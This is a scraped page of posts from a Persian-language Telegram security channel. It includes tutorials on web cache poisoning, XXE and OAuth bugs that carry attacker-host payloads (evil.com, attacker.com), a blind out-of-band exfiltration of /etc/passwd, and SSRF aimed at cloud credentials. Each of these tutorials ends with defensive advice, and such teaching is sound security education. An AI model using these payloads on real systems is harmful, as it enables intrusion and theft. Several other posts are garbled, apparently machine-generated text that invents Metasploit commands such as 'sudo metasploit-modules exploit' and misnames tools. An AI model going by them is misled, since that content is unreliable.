SPIRE X
الذهاب إلى القناة على Telegram
🛡️ Nullactive | Spire Team 💻 Cyber Security • Ethical Hacking 🐧 Linux | Networking | Web Security 🧠 آموزش، ابزار و تحلیل فنی 🔬 تمرین در محیطهای آزمایشگاهی مجاز ⚡ Learn • Practice • Secure
إظهار المزيدلم يتم تحديد البلدالفئة غير محددة
4 402
المشتركون
-7024 ساعات
-7537 أيام
-2 57630 أيام
أرشيف المشاركات
\n\nیعنی سرور از X-Forwarded-Host استفاده کرد برای ساختن URL.\n\nCDN این پاسخ رو کش میکنه.\nحالا هر کاربری که سایت رو باز کنه، همین پاسخ رو میگیره.\nاسکریپت evil.com رو مرورگرش لود میکنه.\n\nفاجعه.\n\nانواع Cache Poisoning:\n\n۱. Unkeyed Header Injection\nهدری که تو Cache Key نیست، ولی تو پاسخ استفاده میشه.\n\nX-Forwarded-Host: evil.com\nX-Forwarded-Scheme: nothttps\nX-Host: evil.com\nX-Original-URL: /admin\n\n۲. Unkeyed Cookie\n\nCookie: session=xyz\n\nاگه پاسخ به این کوکی وابسته باشه ولی تو Cache Key نباشه:\n\nGET /?cb=123 HTTP/1.1\nCookie: role=admin\n\n۳. Cache Deception\n\nhttps://target.com/profile.css\n\nسرور فکر میکنه فایل استاتیکه، کش میکنه.\nولی در واقع پروفایل کاربر لاگین شده رو نشون میده.\nحالا CDN پاسخ کاربر A رو به کاربر B میده.\n\n۴. Fat GET\n\nGET /?param=value HTTP/1.1\nContent-Length: 15\n\nbody=injected\n\nبعضی سرورها بدنه GET رو هم میخونن، ولی CDN فقط URL رو کش میکنه.\n\nپیدا کردنش:\n\nیه پارامتر رندوم بذار:\nGET /?cb=1234567\n\nبعد دوباره بزن:\nGET /?cb=1234567\n\nاگه پاسخ از cache اومد (هدر X-Cache: HIT)،\nیعنی cache key فقط URL هست.\nحالا ببین کدوم هدرها تو پاسخ اثر دارن.\n\nپیلود واقعی:\n\nGET /?cb=123 HTTP/1.1\nHost: target.com\nX-Forwarded-Host: attacker.com\n\nبعد بفرست:\nGET /?cb=123\n\nاگه Cache Hit شد و پاسخ به attacker.com اشاره داشت،\nحمله موفق بوده.\n\nدفاع:\nهمه هدرهای موثر تو پاسخ رو تو Cache Key بذار.\nX-Forwarded-Host رو نادیده بگیر.\nVary هدر مناسب ست کن.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-22T12:04:45Z","dateModified":"2026-09-22T12:05:05Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1}]}},{"@type":"ListItem","position":7,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channel/3qHAvX/posts/723","url":"https://telemetr.io/ar/channel/3qHAvX/posts/723","mainEntityOfPage":"https://telemetr.io/ar/channel/3qHAvX/posts/723","headline":"**درباره Kali Linux** Kali Linux یک توزیع از نوع لینوکس است که برای امنیت سایبری، نفوذ گزاری و هکینگ روشی طرا…","articleBody":"**درباره Kali Linux**\nKali Linux یک توزیع از نوع لینوکس است که برای امنیت سایبری، نفوذ گزاری و هکینگ روشی طراحی شده است. این توزیع در ابتدا برای استفاده هایزت و نفوذ گزاری طراحی شد و به مرور در سالهای اخیر به توزیع هایزت و امنیت سایبری تبدیل شد.\n**ویروس هایزت (Metasploit)** \nMetasploit یک محیط امنیتی است که برای نفوذ گزاری و هکینگ روشی طراحی شده است. در این توزیع میتوان با استفاده از ویروسها به سیستمهای مورد نظر نفوذ گزاری کرد.\nدر Kali Linux یک توزیع، دستور `sudo metasploit-list` استفاده میشود که در آن میتوان تا ویروسها را فهرست کرد و نفوذ گزاری کرد.\n**نمونه دستور برای فهرست ویروسها**\n```markdown\nsudo metasploit-list\n```\nدر این دستور، دستور `sudo metasploit-list` استفاده شده است که ویروسها را فهرست کند و تا ویروسها نفوذ گزاری شده است.\n**نکاتیوهای مورد نظر**\nدر Kali Linux یک توزیع، دستور `sudo metasploit-modules` استفاده میشود که در آن میتوان تا ویروسهای مربوط به سیستمهای مورد نظر نفوذ گزاری کرد.\nدر Kali Linux یک توزیع، دستور `sudo metasploit-modules add` استفاده میشود که به ویروسهای جدید اضافه کند و در Kali Linux یک توزیع، دستور `sudo metasploit-modules remove` استفاده میشود که تا ویروسهای خاصی حذف کند.\n**درخواستی برای ویروسهای خاصی**\nبا استفاده از دستور `sudo metasploit-modules set` به ویروسهای خاصی اضافه یا حذف شود، در Kali Linux یک توزیع.\nدر Kali Linux یک توزیع، دستور `sudo metasploit-modules set` استفاده میشود که میتوان تا ویروسهای خاصی به ویروسهای دیگر اضافه یا حذف کرد.\n\nتوصیرهای مورد نظر، در Kali Linux یک توزیع، دستور `sudo metasploit-modules enable` استفاده میشود که ویروسهای خاصی فعال شوند. در Kali Linux یک توزیع، دستور `sudo metasploit-modules disable` استفاده میشود که ویروسهای خاصی غیرفعال شوند.\n**ویروسهای فعال و غیرفعال**\nدر Kali Linux یک توزیع، دستور `sudo metasploit-modules enable` استفاده میشود که ویروسهای خاص را فعال کند و دستور `sudo metasploit-modules disable` استفاده میشود که ویروسهای خاص را غیرفعال کند.\n**نتیجه کار با Metasploit**\nدر Kali Linux یک توزیح، دستور `sudo metasploit-modules exploit ` استفاده میشود که ویروس مورد نظر را هک کند و در Kali Linux یک توزیح، دستور `sudo metasploit-modules exploit ` استفاده میشود که ویروس مورد نظر را هک کند.\nدر Kali Linux یک توزیح، دستور `sudo metasploit-modules exploit -h ` استفاده میشود که ویروس مورد نظر را هک کند و با استفاده از ویروسهای خاصی، دستور `sudo metasploit-modules exploit -h ` استفاده میشود که ویروس مورد نظر را هک کند.\n**نتیجه کار با Metasploit**\nدر Kali Linux یک توزیح، دستور `sudo metasploit-modules exploit ` استفاده میشود که ویروس مورد نظر را هک کند.\n**درباره Kali Linux یک توزیح**\nدر Kali Linux یک توزیح، دستور `sudo metasploit-modules add ` استفاده میشود که ویروس مورد نظر را اضافه کند. در Kali Linux یک توزیح، دستور `sudo metasploit-modules remove ` استفاده میشود که تا ویروس مورد نظر را حذف کند.\n**نتیجه کار با Kali Linux یک توزیح**\nدر Kali Linux یک توزیح، دستور `sudo metasploit-modules add ` استفاده میشود که ویروس مورد نظر را اضافه کند.\n**درباره Kali Linux یک توزیح**\nدر Kali Linux یک توزیح، دستور `sudo metasploit-modules add ` استفاده میشود که ویروس مورد نظر را اضافه کند.\n**ویروسهای فعال**\nدر Kali Linux یک توزیح، دستور `sudo metasploit-modules enable ` استفاده میشود که ویروسهای فعال شوند.\n**ویروسهای غیرفعال**\nدر Kali Linux یک توزیح، دستور `sudo metasploit-modules disable ` استفاده میشود که ویروسهای غیرفعال شوند.\n**نتیجه کار با Kali Linux یک توزیح**\nدر Kali Linux یک توزیح، دستور `sudo metasploit-modules enable ` استفاده میشود که ویروسهای مورد نظر فعال شوند.\nدر Kali Linux یک توزیح، دستور `sudo metasploit-modules disable ` استفاده میشود که ویروسهای مورد نظر غیرفعال.pet\n\n#Ai #KaliLinux #CyberSecurity","datePublished":"2026-09-22T11:59:44Z","dateModified":"2026-09-22T12:00:04Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1}]}},{"@type":"ListItem","position":8,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channel/3qHAvX/posts/722","url":"https://telemetr.io/ar/channel/3qHAvX/posts/722","mainEntityOfPage":"https://telemetr.io/ar/channel/3qHAvX/posts/722","headline":"**تست نفوذ، تهاجمه یا Ethical Hacking** **تست نفوذ، به اختصار Ethical Hacking، روشی برای تست امنیت یک سیستم ی…","articleBody":"**تست نفوذ، تهاجمه یا Ethical Hacking**\n \n**تست نفوذ، به اختصار Ethical Hacking، روشی برای تست امنیت یک سیستم یا شبکه است. Ethical Hacking یک روشی از امنیت است، نه برای تخریب یا تخطعی. یک هکر یا Ethical Hacker کسی است که امنیت شبکهها و سیستمها را با هدف تسلطه و تست، برای شناسایابی نقاط ضعف و افزایش امنیت آنها، برآورده است. هکرهای Ethical، شبکهها را با یک روش علمی تستیابی، برای شناسایابی نقاط ضعف و افزایش امنیت، بدون هدف تخریب یا سوء استفاده، برآوردهاند.\n\n**تاریخچه Ethical Hacking**\n \nتاریخچه Ethical Hacking از زمان ظهور شبکهها و اینترنت آغاز شده. در ابتدا، شبکهها و سیستمها، با هدف امنیت، در مقابل هکرها قرار داشتند.اما با پیشرف روز، امنیت شبکهها، با استفاده از روش Ethical Hacking، بیشتر مورد توجه قرار گرفت. Ethical Hacking یک روشی برای امنیت شبکهها است که از یک روش علمی استفاده میکند. این روش برای شناسایی نقاط ضعف و افزایش امنیت شبکهها، بدون هدف تخریب یا سوء استفاده، برآورده است.\n\n**تست نفوذ، چه چی است؟**\n \nتست نفوذ یا Ethical Hacking، یک روشی برای تست امنیت شبکهها یا سیستمها است. یک هکر یا Ethical Hacker کسی است که با هدف تسلطه، شبکهها را تست کرده و نقاط ضعف را شناسایی کند. با استفاده از یک روش علمی، شبکهها را تست میکند. این روش، بدون هدف تخریب یا سوء استفاده، برای شناسایی نقاط ضعف و افزایش امنیت شبکهها، برآورده است.\n\n**مکانیزمنظم تست نفوذ**\n \nمکانیزمنزمون تست نفوذ یا Ethical Hacking این است که این روشی برای تست، تسلطه، شناسایی نقاط ضرف، افزایش امنیت است. شبکهها را تست، بدون هدف تخریب یا سوء استفاده، برای شناسایی نقاط ضعف و افزایش امنیت برآورده است.\n\n**روشهای تست نفوذ**\n \nتست نفوذ یا Ethical Hacking، با چند روش انجام میشود. این روشها عبارت است از:\n\n1. **تست نفوذ شبکه**: شبکهها را تست میکند. نقاط ضعف را شناسایی میکند.\n2. **تست نفوذ سیستم**: سیستمها را تست میکند. نقاط ضعف را شناسایی میکند.\n3. **تست نفوذ نرمافزار**: نرمافزارها را تست میکند. نقاط ضعف را شناسایی میکند.\n\n**استفاده از Kali Linux**\n \nKali Linux یک توزیع از Linux است که برای تست نفوذ استفاده میشود. Ethical Hacking، در محیطهای تحت کنترل، آزمایشگاهی، و آموزشی، استفاده میشود. Kali Linux، با ابزارهای Ethical Hacking، شبکهها را تست میکند. Kali Linux، به عنوان یک ابزار، برای تست نفوذ، در دسترس است.\n\n**مثالهای Ethical Hacking**\n \nمثالهای Ethical Hacking، برای تست نفوذ، استفاده میشوند. Ethical Hacking، بدون هدف تخریب یا سوء استفاده، برای شبکهها، تست نفوذ، انجام میشود.\n\n1. **تست نفوذ شبکه**: NetworkX\n2. **تست نفوذ سیستم**: Metaspace\n3. **تست نفوذ نرمافزار**: Metasploit\n\n**نکاتی که Ethical Hacking باید داشته باشد**\n \nنکاتی که Ethical Hacking باید داشته باشد، عبارت است از:\n\n1. **تسلطه**: Ethical Hacking، بدون هدف تخریب یا سوء استفاده است.\n2. **نقطه**: Ethical Hacking، برای شناسایی نقاط ضعف است.\n3. **تست نفورد**: Ethical Hacking، برای تست نفورد است.\n4. **تست نفود**: Ethical Hacking، برای تست نفود است.\n5. **تست نفوذ**: Ethical Hacking، برای تست نفوذ است.\n\n**مثالهایی که Ethical Hacking نباید داشته باشد**\n \nمثالهایی که Ethical Hacking نباید داشته باشد، عبارت است از:\n\n1. **تخریب شبکه**: Ethical Hacking، بدون هدف تخریب است.\n2. **سوء استفاده**: Ethical Hacking، بدون هدف سوء استفاده است.\n3. **تست نفوذ به اهداف خصوصی**: Ethical Hacking، فقط برای شبکهها یا سیستمها است، نه برای اهداف خصوصی.\n4. **تست نفورد با سوء استفاده**: Ethical Hacking، بدون هدف سوء استفاده است.\n\n**زبان این مقاله**\n \nزبان این مقاله فارسی است.\n\n#Ai #KaliLinux #CyberSecurity","datePublished":"2026-09-22T11:57:17Z","dateModified":"2026-09-22T11:58:01Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1}]}},{"@type":"ListItem","position":9,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channel/3qHAvX/posts/721","url":"https://telemetr.io/ar/channel/3qHAvX/posts/721","mainEntityOfPage":"https://telemetr.io/ar/channel/3qHAvX/posts/721","headline":"**تستی نفوذ و Ethical Hacking: یک راهنمایابی** تستی نفوذ یا Ethical Hacking یک رویکه برای ارزیابی سیستمهای…","articleBody":"**تستی نفوذ و Ethical Hacking: یک راهنمایابی**\n\nتستی نفوذ یا Ethical Hacking یک رویکه برای ارزیابی سیستمهای شبکه و پیدا کردن نقاط ضعف آنها است. در این مقاله میآموزیم این مفهوم را توجیع و بهتستری و بهصورت یک سناریو در Kali Linux تشریحیم.\n\n**تستی نفوذ و Ethical Hacking: چیست؟**\n\nتستی نفوذ یا Ethical Hacking یک رویکه است که برای پیدا کردن نقاط ضعف در سیستمهای شبکه استفاده میشود. در واقع این تکنیک برای پیدا کردن نقاط ضعف در سیستمها، بدون هدف تقلیل و با هدف بالا ردنگی است. این رویکه به متخصصین این حوزه کمک میکند تا نقاط ضعف را پیدا کنند و جلوی آنها را برطرف کنند.\n\n**تست نفوذ در Kali Linux**\n\nKali Linux یک محیط تستی نفوذ است که در آن میتوان به سادگی یک تستی نفوذ انجام داد. این ابزارها شامل:\n\n* **Metasploit**: این ابزار برای پیدا کردن نقاط ضعف در سیستمهای شبکه استفاده میشود.\n* **OWASP**: این ابزار برای ارزیابی نقاط ضعف در سیستمها استفاده میشود.\n* **Burpsuite**: این ابزار برای پیدا کردن نقاط ضعف در سامانههای مجازی استفاده میشود.\n* **John the Ripper**: این ابزار برای پیدا کردن نقاط ضعف در سامانههای مجازی در سیستمهای Linux استفاده میشود.\n\n**سناریوی Tasty نفوذ**\n\n برای تستی نفوذ، میتوان سناریوهای مختلفی را انجام داد. یکی از آنها سناریویی که برای پیدا کردن نقاط ضعف در سامانههای مجازی است. در این سناریو، تستی نفوذ میتواند شامل موارد زیر باشد:\n\n* **بررسیهای امنیتی**: این سناریو شامل بررسیهای امنیتی برای پیدا کردن نقاط ضعف در سامانههای مجازی است.\n* **تست نفوذ**: این سناریو شامل تست نفوذ برای پیدا کردن نقاط ضعف در سامانههای مجازی است.\n* **پشتیبانیها**: این سناریو شامل پشتیبانی برای پیدا کردن نقاط ضعف در سامانههای مجازی است.\n\n**نتیجهگیری**\n\nتستی نفوذ یا Ethical Hacking یک رویکه برای پیدا کردن نقاط ضعف در سامانههای مجازی است. این رویکه به متخصصین این حوزه کمک میکند تا نقاط ضعف را پیدا کنند و جلوی آنها را برطرف کنند. Kali Linux یک محیط تستی نفوذ است که در آن میتوان به سادگی یک تستی نفوذ انجام داد. سناریوهای مختلفی برای تستی نفوذ وجود دارند، از جمله بررسیهای امنیتی، تست نفوذ، و پشتیبانیها.\n\n**مثالها برای تستی نفوذ**\n\n برای تستی نفوذ، برخی از مثالها عبارتندند:\n\n* **بررسیهای امنیتی**: فرض کنید که یک سامانه مجازی را دارید. در این شرایط، میتوان برای پیدا کردن نقاط ضعف آن، یک بررسی امنیتی انجام داد. در واقع، میتوان از ابزارهای مختلف برای پیدا کردن نقاط ضعف در سامانه مجازی استفاده کرد.\n* **تست نفوذ**: فرض کنید که یک سامانه مجازی را دارید و میخواهی نقاط ضعف آن را پیدا کنی. در این شرایط، میتوان برای پیدا کردن نقاط ضعف آن، یک تست نفوذ انجام داد. در واقع، میتوان از ابزارهای مختلف برای پیدا کردن نقاط ضعف در سامانه مجازی استفاده کرد.\n* **پشتیبانی:** فرض کنید که یک سامانه مجازی را دارید و میخواهی نقاط ضعف آن را پیدا کنی. در این شرایط، میتوان برای پیدا کردن نقاط ضعف آن، یک پشتیبانی انجام داد. در واقع، میتوان از ابزارهای مختلف برای پیدا کردن نقاط ضعف در سامانه مجازی استفاده کرد.\n\n**نتیجه**\n\nتستی نفوذ یا Ethical Hacking یک رویکه برای پیدا کردن نقاط ضعف در سامانههای مجازی است. این رویکه به متخصصین این حوزه کمک میکند تا نقاط ضعف را پیدا کنند و جلوی آنها را برطرف کنند. Kali Linux یک محیط تستی نفوذ است که در آن میتوان به سادگی یک تستی نفوذ انجام داد. سناریوهای مختلفی برای تستی نفوذ وجود دارند، از جمله بررسیهای امنیتی، تست نفوذ، و پشتیبانیها.\n\n#Ai #KaliLinux #CyberSecurity","datePublished":"2026-09-22T11:55:59Z","dateModified":"2026-09-22T11:56:52Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1}]}},{"@type":"ListItem","position":10,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channel/3qHAvX/posts/720","url":"https://telemetr.io/ar/channel/3qHAvX/posts/720","mainEntityOfPage":"https://telemetr.io/ar/channel/3qHAvX/posts/720","headline":"درحال تست هوش مصنوعی شخصی هستیم دوستان این متن تست است لطفا توجه نکنید.","articleBody":"درحال تست هوش مصنوعی شخصی هستیم دوستان این متن تست است لطفا توجه نکنید.","datePublished":"2026-09-22T11:52:59Z","dateModified":"2026-09-22T11:52:59Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2322},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":6},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}]}},{"@type":"ListItem","position":11,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channel/3qHAvX/posts/719","url":"https://telemetr.io/ar/channel/3qHAvX/posts/719","mainEntityOfPage":"https://telemetr.io/ar/channel/3qHAvX/posts/719","headline":"**عنوان:** تست نفوذ در شبکه: یک روش بهنگار برای امنیت سایبری **متن:** تست نفوذ (Penetration Test) یک روش بهنگ…","articleBody":"**عنوان:** تست نفوذ در شبکه: یک روش بهنگار برای امنیت سایبری\n\n**متن:** \n\nتست نفوذ (Penetration Test) یک روش بهنگار برای امنیت سایبری است که در آن، یک هکر یا متخصص شبکه به یک شبکه سایبی، با هدف تشخیص نقاط ضعف آن، نفوذ و آسیبهای بالقوه را شناسایی و در نتیجه، راههای جلوگیری را پیشنهاد میکند. این روش در تست نفوذ، بهصورت یک چارچ برای تست امنیت شبکه، با تمرکز بر روی نقاط ضعف و آسیبهای بالقبه است.\n\n**تست نفوذ در چیست؟**\n\nتست نفوذ یک روش بهنگار است که هدفش، شناسایی نقاط ضرفت در شبکه سایبی است. این روش شامل شناسایی نقاط ضعف و آسیبهای بالقبه از نظر فنی، نفوذ به شبکه، و شناسایی نقاط ضعف و آسیبهای بالقبه است. این روش در تست نفوذ، بهصورت یک چارچ برای تست امنیت شبکه، با تمرکز بر روی نقاط ضرف و آسیبهای بالقبه است.\n\n**چشم**\n\nدر تست نفوذ، هکر یا متخصص شبکه سعی میکند که نقاط ضعفی در شبکه را شناسایی و شناسایی. این کار، در تست نفوذ، شامل:\n\n* **شناسایی نقاط ضعفی**: شناسایی نقاط ضعف در شبکه، مانند هابهای باز، هابهای بسته، هابهای فاقد و هابهای رمز شده، و هابهای رمز نشده است.\n* **شناسایی نقاط آسیب**: شناسایی آسیبهای بالقبه در شبکه، مانند هابهای رمز شده، هابهای فاقد، هابهای هک شده، و هابهای رمز نشده است.\n\n**مرحله**\n\nدر تست نفوذ، شناسایی نقاط ضعفی و آسیبهای بالقبه در شبکه سایبی، و در نتیجه، راههای جلوگیری را پیشنهاد میکنیم. این روش در تست نفوذ، بهصورت یک چارچ برای تست امنیت شبکه، با تمرکز بر روی نقاط ضعفی و آسیبهای بالقبه است.\n\n**مثالها**\n\n در تست نفوذ، یک مثال ساده برای شناسایی نقاط ضعفی، میتوان در شبکه، یک هاب باز یا یک هاب باز را تست کرد. این تست نشان میدهد که نقاط ضعفی در هاب باز، در شبکه، شناسایی میشود.\n\nدر تست نفوذ، یک مثال برای شناسایی آسیبهای بالقبه در شبکه، میتوان یک هاب باز را تست کرد. این تست نشان میدهد که آسیبهای بالقبه در هاب باز، در شبکه، شناسایی میشود.\n\n**نتیجه**\n\nدر تست نفوذ، شناسایی نقاط ضعفی و آسیبهای بالقبه در شبکه سایبی، و در نتیجه، راههای جلوگیری را پیشنهاد میکنیم. این روش در تست نفوذ، بهصورت یک چارچ برای تست امنیت شبکه، با تمرکز بر روی نقاط ضعفی و آسیبهای بالقبه است.\n\n**نکاتیب**\n\n در تست نفوذ، یک نکتِب برای شناسایی نقاط ضعفی و آسیبهای بالقبه در شبکه سایبی، میتوان در تست نفوذ، یک روش برای شناسایی نقاط ضعفی و آسیبهای بالقبه استفاده کرد. این روش شامل شناسایی نقاط ضعفی و آسیبهای بالقبه است.\n\n**نتیجه**\n\nدر تست نفوذ، شناسایی نقاط ضعفی و آسیبهای بالقبه در شبکه سایبی، و در نتیجه، راههای جلوگیری را پیشنهاد میکنیم. این روش در تست نفوذ، بهصورت یک چارچ برای تست امنیت شبکه، با تمرکز بر روی نقاط ضعفی و آسیبهای بالقبه است.\n\n#Ai #KaliLinux #CyberSecurity","datePublished":"2026-09-22T11:51:36Z","dateModified":"2026-09-22T11:51:36Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":4,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2264},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":7},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":4}]}},{"@type":"ListItem","position":12,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channel/3qHAvX/posts/718","url":"https://telemetr.io/ar/channel/3qHAvX/posts/718","mainEntityOfPage":"https://telemetr.io/ar/channel/3qHAvX/posts/718","headline":"XXE، وقتی XML بهت اجازه خوندن فایل رو میده XML یه قابلیت داره به اسم Entity. میتونی با یه entity، یه مقدار ر…","articleBody":"XXE، وقتی XML بهت اجازه خوندن فایل رو میده\n\nXML یه قابلیت داره به اسم Entity.\nمیتونی با یه entity، یه مقدار رو چند جا استفاده کنی.\n\n\n]>\n&example; \n\nحالا entity میتونه external هم باشه:\n\n\n]>\n&xxe; \n\nاگه سرور این XML رو پردازش کنه،\nمحتوای /etc/passwd رو بهت برمیگردونه.\n\nاین به تنهایی فاجعهست.\nولی میتونی بری جلوتر.\n\nBlind XXE با OOB:\n\n\n \n %dtd;\n]>\n\nevil.dtd روی سرور مهاجم:\n\n\">\n%all;\n\nحالا سرور قربانی، محتوای /etc/passwd رو به سرور تو میفرسته.\nحتی اگه هیچ چیزی بهت نشون نده.\n\nبا PHP Wrapper:\n\n\n]>\n&xxe; \n\nمحتوای فایل base64 میشه.\nچون ممکنه XML با کاراکترهای خاص مشکل داشته باشه.\n\nیا با php://expect:\n\n\n]>\n\nاگه expect نصب باشه، فرمان اجرا میشه.\n\nSSRF با XXE:\n\n\n]>\n\nمیره سراغ Metadata ابری.\nممکنه Credentials AWS رو بگیری.\n\nدفاع:\nDisable external entities تو Parser.\nاز فرمتهای دیگه مثل JSON استفاده کن.\nParser رو آپدیت کن.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-22T11:33:51Z","dateModified":"2026-09-22T11:33:51Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2205},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":6}]}},{"@type":"ListItem","position":13,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channel/3qHAvX/posts/717","url":"https://telemetr.io/ar/channel/3qHAvX/posts/717","mainEntityOfPage":"https://telemetr.io/ar/channel/3qHAvX/posts/717","headline":"OAuth، پیچیدهترین سیستم احراز هویت و رایجترین باگش OAuth چیکار میکنه؟ به یه سایت میگی: \"من به تو اجازه می…","articleBody":"OAuth، پیچیدهترین سیستم احراز هویت و رایجترین باگش\n\nOAuth چیکار میکنه؟\n\nبه یه سایت میگی: \"من به تو اجازه میدم از طرف من با گوگل حرف بزنی.\"\n\nجریان استاندارد:\n\n1. کاربر → درخواست لاگین به target.com\n2. target.com → کاربر رو میفرسته به accounts.google.com\n3. کاربر → به گوگل لاگین میکنه\n4. گوگل → یه کد به target.com میده\n5. target.com → با کد، یه توکن از گوگل میگیره\n6. target.com → با توکن، اطلاعات کاربر رو میگیره\n\nباگهای رایج:\n\n۱. Open Redirect in redirect_uri\n\nاگه سرور redirect_uri رو اعتبارسنجی نکنه:\n\nhttps://target.com/oauth/callback?redirect_uri=https://evil.com\n\nتوکن میره به evil.com.\n\n۲. CSRF در OAuth\n\nاگه state نداشته باشه یا ثابت باشه،\nمهاجم یه درخواست لاگین جعل میکنه که به اکانت مهاجم وصل شه.\nقربانی وارد میشه، ولی به حساب مهاجم لاگین میشه.\n\n۳. Implicit Flow\n\nتوکن مستقیم تو URL میاد.\nتاریخچه مرورگر، Referer، لاگها همه میبیننش.\n\n۴. PKCE نبودن\n\nتو Public Client ها، اگه PKCE نداشته باشه،\nکد رهگیری میشه.\n\n۵. Account Linking\n\nاگه یه سایت چند تا روش لاگین داره،\nمهاجم میتونه حساب قربانی رو به حساب خودش لینک کنه.\n\nدفاع:\nredirect_uri رو دقیقاً match کن، نه با regex.\nstate رندوم و یکبار مصرف.\nPKCE رو حتماً استفاده کن.\nاز Authorization Code Flow استفاده کن، نه Implicit.\n\n#ℳℴ𝒷𝒾𝓃","datePublished":"2026-09-22T11:01:59Z","dateModified":"2026-09-22T11:01:59Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2346},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":8}]}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channel/3qHAvX/posts/716","url":"https://telemetr.io/ar/channel/3qHAvX/posts/716","mainEntityOfPage":"https://telemetr.io/ar/channel/3qHAvX/posts/716","headline":"دستور های کاربردی شبکه ویندوز #CyberSecurity #Network #Windows #Coding #Internet #ᴛʏɢᴇʀ_ꜱᴘɪʀᴇ","articleBody":"دستور های کاربردی شبکه ویندوز\n\n#CyberSecurity #Network #Windows #Coding #Internet #ᴛʏɢᴇʀ_ꜱᴘɪʀᴇ","datePublished":"2026-09-22T10:50:11Z","dateModified":"2026-09-22T10:50:11Z","author":{"@type":"Organization","name":"SPIRE X","url":"https://telemetr.io/ar/channel/3qHAvX","image":"https://img.telemetr.io/c/3qHAvX/5938317621809844539?ty=x"},"publisher":{"@type":"Organization","name":"SPIRE 